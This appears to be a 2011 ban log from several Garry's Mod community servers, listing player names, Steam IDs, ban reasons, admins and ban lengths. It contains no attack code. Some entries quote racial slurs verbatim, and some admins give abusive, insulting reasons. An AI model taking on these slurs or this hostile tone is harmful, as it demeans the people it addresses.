am 04-09-11 roxer STEAM_0:0:23705135 RDM, come back in an +hour Norzonion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:14 am 04-09-11 Unknown STEAM_0:0:39497530 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +2:24 am 04-09-11 Bunny STEAM_0:1:30049477 rdm <[FoT]> .ExEcute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:41 am 04-09-11 pirAa STEAM_0:1:15093643 racist MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +10:32 pm 03-09-11 ole STEAM_0:1:16363586 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +7:21 pm 03-09-11 Unknown STEAM_0:0:38910108 Cheat: Isis (Console) +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:21 pm 03-09-11 Unknown STEAM_0:0:36250162 Cheat: Eradicate +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:20 pm 03-09-11 Unknown STEAM_0:1:20264839 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:19 pm 03-09-11 Unknown STEAM_0:1:17629619 Cheat: Isis (Console) +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +7:19 pm 03-09-11 Unknown STEAM_0:0:32752830 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +6:06 pm 03-09-11 EURO*FIGHTER STEAM_0:0:4504477 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:33 pm 03-09-11 â?£Prince_of_Orangeâ?£ STEAM_0:1:33146333 You fail, +banned for being stupid. +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:0 Unbanned +3:16 am 03-09-11 Kirvin STEAM_0:1:33803502 really now... MAD MAN +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +2:39 am 03-09-11 (N.P) Cpt Ry@n Money on fire LO STEAM_0:0:26030841 +prop destroying douche Wigbig Official Zombified World|Lvl Cap +10 +Zombified World 0:1:0 Unbanned +12:49 am 03-09-11 JonaFUN STEAM_0:0:33519044 Massive RDM Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +12:45 am 03-09-11 Cyber Cookie STEAM_0:0:20067772 RDM Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:42 am 03-09-11 .sf| White_Wolf STEAM_0:0:17875201 no racism ++[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:30 Unbanned +11:21 pm 02-09-11 Unknown STEAM_0:0:8269456 RDM +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +11:04 pm 02-09-11 ShizNak STEAM_0:0:18703773 rdming triators +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +10:22 pm 02-09-11 tesla0kiwi STEAM_0:0:29052004 prop killing Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +9:01 pm 02-09-11 That Kid With The .50 cal STEAM_0:1:31891533 prop +push Toilet paper Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +4:47 pm 02-09-11 Unknown STEAM_0:1:18230075 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +4:42 pm 02-09-11 Ð?одвÑ?з STEAM_0:0:25555695 rdming +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 +Unbanned +3:00 pm 02-09-11 DoubleRainbowMan STEAM_0:0:31381619 Prop breaking is +against the rules Norzonion Official Zombified World|Lvl Cap +10 +Zombified World 0:1:40 Unbanned +1:44 pm 02-09-11 Unknown STEAM_0:0:8591724 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +1:43 pm 02-09-11 Unknown STEAM_0:1:38418099 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:43 pm 02-09-11 Unknown STEAM_0:0:26745412 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:43 pm 02-09-11 Unknown STEAM_0:0:29255499 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:07 am 02-09-11 Nrub'yiglith STEAM_0:1:17766588 RDM, Voice changer ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:4:0 Unbanned +12:32 am 02-09-11 Kirvin STEAM_0:1:33803502 you don't make that +mistake twice come back in an hour <[FoT]> .ExEcute Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:17 am 02-09-11 Lebowski STEAM_0:0:33483157 <[FoT]> .ExEcute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:07 pm 01-09-11 Unknown STEAM_0:0:36970472 RDM, then leaves when +suspected. Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +10:44 pm 01-09-11 SirMarcAlot STEAM_0:1:13743755 too loud +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 +Unbanned +5:49 pm 01-09-11 Unknown STEAM_0:0:13528709 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +1:50 pm 01-09-11 G.B. Hindert STEAM_0:0:17086047 Planted C4 as +innocent, rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +1:12 am 01-09-11 Stickytape11 STEAM_0:1:25095964 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:21 pm 31-08-11 mdfrombelgium STEAM_0:1:39013291 Killing fellow +traitors Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:47 pm 31-08-11 »[TFD]«. SONNY STEAM_0:1:35907675 ' I love +trolling ' Wigbig Official Zombified World|Fixin Stuff Zombified +World 9:0:40 Unbanned +6:38 pm 31-08-11 ^3(^9A!MB0T^3)^5Nicky STEAM_0:0:29007231 RDM. ++[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:22 pm 31-08-11 Sam (Dood Noooooooo) STEAM_0:0:24255629 You +persisted. +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +6:10 pm 31-08-11 Camper STEAM_0:0:30697563 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +4:22 pm 31-08-11 Youre Mother STEAM_0:1:41080655 Trying to avoid +punishment +[SP]+ Gearyâ?¢ Killa's Zombie Survival Server Zombie +Survival 0:2:0 Unbanned +4:14 pm 31-08-11 Charles STEAM_0:0:29921754 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +4:13 pm 31-08-11 TyPuCT STEAM_0:1:10116560 Low karma +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +3:02 pm 31-08-11 [Nor]murloc1337(D.B.S) STEAM_0:1:38110471 RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 20:20:0 +Unbanned +2:16 pm 31-08-11 Unknown STEAM_0:0:15765533 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:34 am 31-08-11 Unknown STEAM_0:1:31854870 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:34 am 31-08-11 Unknown STEAM_0:1:22582910 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:29 am 31-08-11 Xsylus STEAM_0:0:22070819 fuckass Wigbig Official +Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +10:23 pm 30-08-11 Wigbig STEAM_0:0:16416933 stop that! MAD MANN +Official Zombified World|Fixin Stuff Zombified World 0:0:5 Unbanned +6:53 pm 30-08-11 Unknown STEAM_0:1:21117902 RDM + Leaving. Is this +Aimstrong the coh expert? ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:30 Unbanned +6:10 pm 30-08-11 Unknown STEAM_0:0:39875597 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:43 pm 30-08-11 Unknown STEAM_0:1:22689778 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +5:22 pm 30-08-11 darthman8 STEAM_0:0:40689710 rdming +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:6 +Unbanned +5:18 pm 30-08-11 [Nor]murloc1337(D.B.S) STEAM_0:1:38110471 RDMing +knob +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:1 Unbanned +4:18 pm 30-08-11 Ridlock Brimstone STEAM_0:0:29011095 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:03 pm 30-08-11 Weed | Smoke Some Weed STEAM_0:0:33482779 Troll ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +1:47 pm 30-08-11 -GoV-jacobtherosiker92 STEAM_0:1:20537143 Learn not +to be trigger happy. Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +1:23 pm 30-08-11 Adrianexi STEAM_0:1:14976708 Yes i can Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:32 pm 30-08-11 zatley STEAM_0:0:36812121 Double RDM / Cheating +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:16 am 30-08-11 Unknown STEAM_0:0:16904191 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:16 am 30-08-11 Unknown STEAM_0:0:24794531 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:15 am 30-08-11 Unknown STEAM_0:1:34494278 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:15 am 30-08-11 Unknown STEAM_0:0:42475015 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:12 am 30-08-11 The Bukkake Ninja STEAM_0:0:20687130 Alt of banned +ID STEAM_0:0:20687130 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:29 Unbanned +10:41 am 30-08-11 The Bukkake Ninja STEAM_0:0:20687130 Low karma ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +12:18 am 30-08-11 DrBrainage STEAM_0:1:24186758 Base Delete kill ++[SP]+ CCD Official Zombified World|Fixin Stuff Zombified World +3:4:0 Unbanned +10:53 pm 29-08-11 Unknown STEAM_0:1:29039616 Shock sites are only +funny when it's a prank (Console) Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 7:0:0 Unbanned +10:52 pm 29-08-11 Unknown STEAM_0:1:37883205 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +10:43 pm 29-08-11 Unknown STEAM_0:0:28964582 RDM, spamming, ran away +when admin came on server Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:12:0 Unbanned +9:13 pm 29-08-11 â?«â?­à¹?Û?â?¤Ñ?Ñ?Ê?á¹§â?­â?« STEAM_0:0:13931427 Alt +of banned ID STEAM_0:0:4649132 (Console) Killa's Zombie Survival +Server Zombie Survival Permanent Banned +1:59 pm 29-08-11 Å?ľεÏ? Ï?Ï?shðÑ? мзеÐ? STEAM_0:1:29039616 +bye MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +1:44 pm 29-08-11 +[SP]+ Velocirapt0r /v/ STEAM_0:0:19291317 time out +mate MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +1:03 pm 29-08-11 Dominique strauss kahn STEAM_0:1:14464668 RDM ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +1:02 pm 29-08-11 Miasmic_Lt STEAM_0:0:40706822 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +10:45 pm 28-08-11 Mr. Meow Meow STEAM_0:0:27928204 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:01 pm 28-08-11 Everybody at this server STEAM_0:1:22172556 Mass +RDM +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:41 pm 28-08-11 nom nom STEAM_0:0:34730342 mental retardation ++[SP]+ Fleming Fretta|Tigergruppe Kommand One In The Chamber 0:0:12 +Unbanned +8:24 pm 28-08-11 FLUFFITUDE â?¥ [Shuffling] STEAM_0:0:18387068 Alt of +banned ID STEAM_0:0:18387068 (Console) Killa's Zombie Survival +Server Zombie Survival 0:0:41 Unbanned +8:05 pm 28-08-11 FLUFFITUDE â?¥ [Shuffling] STEAM_0:0:18387068 Nice +metting you +[SP]+ CCD Killa's Zombie Survival Server Zombie +Survival 0:1:0 Unbanned +7:33 pm 28-08-11 Cpt. Cloud STEAM_0:1:33273991 killing fellow +traitor Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +6:17 pm 28-08-11 Padron Frodo STEAM_0:0:34846843 reports MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +4:28 pm 28-08-11 l.b.andreassen STEAM_0:0:20928114 Learn to play +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:20 pm 28-08-11 Jaxonsullivan STEAM_0:1:41118879 Massive RDM +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:02 pm 28-08-11 Dudeguy5133 STEAM_0:1:39480654 Shut the fuck up +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +3:34 pm 28-08-11 Slothdur [Hates Tarp's] STEAM_0:1:24200642 RDM +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:3 +Unbanned +2:55 pm 28-08-11 taistelija STEAM_0:0:1553020 ghosting Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:01 pm 28-08-11 Unknown STEAM_0:1:21846812 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:00 pm 28-08-11 Unknown STEAM_0:0:5305833 Cheat: Pees (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +1:58 pm 28-08-11 Unknown STEAM_0:0:29466967 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:58 pm 28-08-11 Unknown STEAM_0:0:20043407 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:58 pm 28-08-11 Unknown STEAM_0:1:12965434 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:57 pm 28-08-11 Unknown STEAM_0:1:8856483 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:57 pm 28-08-11 Unknown STEAM_0:1:21779583 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:57 pm 28-08-11 Unknown STEAM_0:0:32819171 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:48 am 28-08-11 georgzmail STEAM_0:0:33713374 Crowbarring Fellow +Traitors +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +12:45 am 28-08-11 rutabaga200 STEAM_0:0:40386323 RDMing...AGAIN ++[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +12:36 am 28-08-11 Unknown STEAM_0:0:26030841 base delete... MAD +MANN Official Zombified World|Fixin Stuff Zombified World 1:0:0 +Unbanned +11:32 pm 27-08-11 -=|JFH|=-knutstrand STEAM_0:0:13088601 racist MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +11:30 pm 27-08-11 Dr.INZANE {DST} =ECC= (DS) [Rct STEAM_0:1:20704407 +base deletion on attack Wigbig Official Zombified World|Fixin Stuff +Zombified World 0:1:0 Unbanned +10:52 pm 27-08-11 Nick1021 STEAM_0:1:41206752 nigger MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:12 pm 27-08-11 erikasas STEAM_0:1:32222117 RDMing +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +7:42 pm 27-08-11 Mahty STEAM_0:0:18347899 quiet +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:3 Unbanned +7:33 pm 27-08-11 »CÑ?usÆ®y Ʈħε ĽεgεηÄ? ( STEAM_0:0:35525319 +Alt of banned ID STEAM_0:0:26973706 (Console) Killa's Zombie Survival +Server Zombie Survival 1:7:13 Unbanned +5:26 pm 27-08-11 [TG] FireFruit STEAM_0:0:26973706 Ignoring an admin, +accuing me of abusing/hacking +[SP]+ Nekoace Killa's Zombie Survival +Server Zombie Survival 1:9:20 Unbanned +11:52 am 27-08-11 Unknown STEAM_0:1:17901805 RDM, Left +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:22:30 Unbanned +11:52 am 27-08-11 Unknown STEAM_0:1:8806063 Treason, RDM +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +11:43 am 27-08-11 Latexrex STEAM_0:0:16625940 Low karma +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +11:09 am 27-08-11 everybody STEAM_0:0:31392188 Low Karma +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +7:55 am 27-08-11 Xx360nOscOp3H3adSh0tCoDBlackOps STEAM_0:1:43675285 +Alt of banned ID STEAM_0:0:25900751 (Console) Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +1:50 am 27-08-11 [SM]zombieclark STEAM_0:1:39015952 begging Wigbig +Official Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +11:55 pm 26-08-11 Dr.unnamed STEAM_0:1:20943098 faction exploit +Wigbig Official Zombified World|Fixin Stuff Zombified World 7:0:0 +Unbanned +11:39 pm 26-08-11 CSSLOLXDMW2(SWE) STEAM_0:0:32253418 offensive +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:0:30 +Unbanned +11:25 pm 26-08-11 roxer STEAM_0:0:23705135 prop surfing Wigbig +Official Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +11:10 pm 26-08-11 Unknown STEAM_0:1:40790385 +http://www.stonedpotatoes.com/viewtopic.php?f=20&p=29383#p29383 MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +6:07 pm 26-08-11 _)13(_(Angel)Of(Darkness_)13(_ STEAM_0:0:17466151 +raging +[SP]+ Nekoace Killa's Zombie Survival Server Zombie +Survival 1:9:20 Unbanned +1:47 pm 26-08-11 Natsu STEAM_0:0:26748262 rdming +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +1:42 pm 26-08-11 rutabaga200 STEAM_0:0:40386323 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:54 pm 26-08-11 More dots STEAM_0:0:18270208 Ghosting +[SP]+ CCD +Fretta|Tigergruppe Kommand Suicide Barrels 2:0:0 Unbanned +11:35 am 26-08-11 Unknown STEAM_0:1:11131806 Portscanning me isnt a +good idea Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +2:12 am 26-08-11 Unknown STEAM_0:0:10427392 Massive RDM Cutie +Fretta|Tigergruppe Kommand Laser Dance 13:21:20 Unbanned +9:42 pm 25-08-11 Unknown STEAM_0:0:28825631 Immature Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 14:0:0 Unbanned +6:19 pm 25-08-11 Tambi STEAM_0:1:18820744 Joo. Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:10:0 Unbanned +6:00 pm 25-08-11 Unknown STEAM_0:0:29690396 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:00 pm 25-08-11 Unknown STEAM_0:1:25272720 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:11 am 25-08-11 Nyan Rave STEAM_0:0:23434391 unreachable base ++[SP]+ MAD MANN Official Zombified World|Fixin Stuff Zombified World +3:11:20 Unbanned +6:42 pm 24-08-11 (n00b)Evil Quaker STEAM_0:1:26824361 Teamkilling +Cutie Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +6:38 pm 24-08-11 Rufio Antonio de Pablo STEAM_0:0:26246176 Banned +aswell, Cutie Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +6:38 pm 24-08-11 Goochanator STEAM_0:1:25163186 Team kill Cutie +Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +6:36 pm 24-08-11 The Bukkake Ninja STEAM_0:0:20687130 Team killing +Cutie Fretta|Tigergruppe Kommand Snifer 0:2:0 Unbanned +1:03 pm 24-08-11 Szefu P*Z STEAM_0:1:29404206 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:01 pm 24-08-11 ^4HAPPEH ^5CREEPER STEAM_0:0:3082850 Banned for 2 +hours for abusive language Cutie Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:2:0 Unbanned +9:18 am 24-08-11 Unknown STEAM_0:0:19345248 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:18 am 24-08-11 Unknown STEAM_0:1:41391523 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:54 pm 23-08-11 Unknown STEAM_0:1:15132539 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +8:48 pm 23-08-11 Mr. Meow Meow STEAM_0:0:27928204 +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:49 pm 23-08-11 Bob STEAM_0:1:13743755 RDMing and changing name to +advoid ban Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +4:45 pm 23-08-11 Unknown STEAM_0:0:37936662 Cheat: Hermes +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:44 pm 23-08-11 Unknown STEAM_0:1:37173161 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:29 pm 23-08-11 The Alchemist STEAM_0:0:24636272 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +3:05 pm 23-08-11 (C.S.I) kamikazekidz [r] STEAM_0:0:19995979 Abusive +multiple times Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +12:41 am 23-08-11 [Broners] TheChocoWarrior STEAM_0:1:40941584 RDM, +spamming, lying Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +11:02 pm 22-08-11 Unknown STEAM_0:1:11268198 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:35 pm 22-08-11 X Mun STEAM_0:0:37845192 Alt of banned ID +STEAM_0:0:37845192 (Console) Fretta|Tigergruppe Kommand Zombie +Onslaught 6:7:14 Unbanned +3:28 pm 22-08-11 Unknown STEAM_0:1:21774502 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:02 am 22-08-11 Turtle Burgers STEAM_0:0:36594519 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +9:47 am 22-08-11 Unknown STEAM_0:1:33460267 Cheat: Isis (Console) +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +9:46 am 22-08-11 Unknown STEAM_0:1:15479136 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +9:46 am 22-08-11 Unknown STEAM_0:0:25900751 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +9:32 am 22-08-11 lichking STEAM_0:0:35799570 I'm very tired +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +7:10 am 22-08-11 X Mun, the Original STEAM_0:0:37845192 Wish +granted +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +11:40 pm 21-08-11 CammmY STEAM_0:1:33706917 Wigbig Official +Zombified World|Fixin Stuff Zombified World 8:4:40 Unbanned +11:39 pm 21-08-11 Devul STEAM_0:1:6796526 Wigbig Official Zombified +World|Fixin Stuff Zombified World 8:4:40 Unbanned +10:52 pm 21-08-11 Unknown STEAM_0:0:32053933 RMD and left +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +4:49 pm 21-08-11 Unknown STEAM_0:1:17254099 rdm and left +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +3:50 pm 21-08-11 marco [dk] STEAM_0:1:34825707 edm +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:16 am 21-08-11 kenshin STEAM_0:1:21480249 nice RDM +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 69:10:40 +Unbanned +2:42 am 21-08-11 AJ Saint STEAM_0:1:33884824 No, YOU HOMO! +Fellknite Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:40 am 21-08-11 /FL-G\ Anthr4X (Swe) STEAM_0:1:33687954 Told you, +you little gook fuck Fellknite Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +2:34 am 21-08-11 al_chelmodeev STEAM_0:1:16804959 Stop being a twat +or I will fuck your shit Fellknite Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:0:0 Unbanned +12:04 am 21-08-11 Ã?DawnfanÃ?â?¢ STEAM_0:0:24885071 cade breaking +Wigbig Killa's Zombie Survival Server Zombie Survival 0:1:0 Unbanned +10:41 pm 20-08-11 Kaspero STEAM_0:0:16146660 Multiple rdm, micspam, +retarded Voted Mags a cunt Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 5:0:0 Unbanned +7:47 pm 20-08-11 Unknown STEAM_0:0:36909306 Prop pushing and faction +exploiting +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 6:22:40 Unbanned +4:04 pm 20-08-11 XD STEAM_0:0:19255097 RDM +[SP]+ Suicidal Robot +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:57 pm 20-08-11 дÑ?Ñ?Ñ?омÑ? | ".:;:." STEAM_0:0:19012795 RDM ++[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:4:0 Unbanned +2:03 pm 20-08-11 [30$$]TylerTheBoss STEAM_0:0:42998358 Rasons +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +11:12 am 20-08-11 Unknown STEAM_0:0:19051000 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:42 am 20-08-11 Unknown STEAM_0:0:23403890 Cheat: Mydik +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:20 pm 19-08-11 Infinity STEAM_0:1:40406990 base out of range +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:1:0 +Unbanned +5:30 pm 19-08-11 al_chelmodeev STEAM_0:1:16804959 Second Prop Kill ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:50 Unbanned +5:21 pm 19-08-11 Unknown STEAM_0:1:22892056 Banned (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +1:29 pm 19-08-11 BreadCrab STEAM_0:1:35634360 Take a break you whiny +little bitch +[SP]+ Gigaknite Fretta|Tigergruppe 